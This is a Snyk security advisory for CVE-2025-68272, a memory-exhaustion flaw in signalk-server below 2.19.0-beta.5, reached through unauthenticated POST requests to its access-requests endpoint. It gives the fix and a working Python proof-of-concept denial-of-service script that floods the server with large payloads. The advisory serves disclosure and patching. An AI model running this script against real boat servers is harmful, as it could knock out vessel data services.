Allocation of Resources Without Limits or Throttling Affecting signalk-server package, versions <2.19.0-beta.5


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (13th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SIGNALKSERVER-14859124
  • published4 Jan 2026
  • disclosed2 Jan 2026
  • creditUnknown

Introduced: 2 Jan 2026

CVE-2025-68272  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade signalk-server to version 2.19.0-beta.5 or higher.

Overview

signalk-server is an An implementation of a Signal K server for boats.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the /signalk/v1/access/requests endpoint. An attacker can cause the server to exhaust memory resources and crash by sending a large number of unauthenticated POST requests containing large payloads.

PoC


import urllib.request
import json
import threading
import time

# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1  # 100 KB per request
NUM_REQUESTS = 20000   # Sufficient to exhaust heap
CONCURRENCY = 50

# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))

def send_heavy_request(i):
    try:
        payload = {
            "clientId": f"attacker-device-{i}",
            "description": LARGE_STRING, # Stored in memory!
            "permissions": "readwrite"
        }
        data = json.dumps(payload).encode('utf-8')
        
        req = urllib.request.Request(
            TARGET_URL, 
            data=data, 
            headers={'Content-Type': 'application/json'}, 
            method='POST'
        )
        # Short timeout as server might hang
        urllib.request.urlopen(req, timeout=5)
    except:
        pass

def attack():
    print(f"[*] Starting DoS Attack on {TARGET_URL}...")
    threads = []
    for i in range(NUM_REQUESTS):
        t = threading.Thread(target=send_heavy_request, args=(i,))
        threads.append(t)
        t.start()
        
        if len(threads) >= CONCURRENCY:
            for t in threads: t.join()
            threads = []

if __name__ == "__main__":
    attack()

CVSS Base Scores

version 4.0
version 3.1